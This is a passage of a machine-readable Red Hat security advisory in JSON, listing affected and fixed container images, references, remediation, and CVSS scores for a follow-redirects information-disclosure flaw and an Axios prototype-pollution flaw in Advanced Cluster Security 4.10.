"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "RHBZ#2460297",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460297"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
}
],
"release_date": "2026-04-21T19:59:59.759000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects"
},
{
"cve": "CVE-2026-42033",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:20.937507+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461607"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
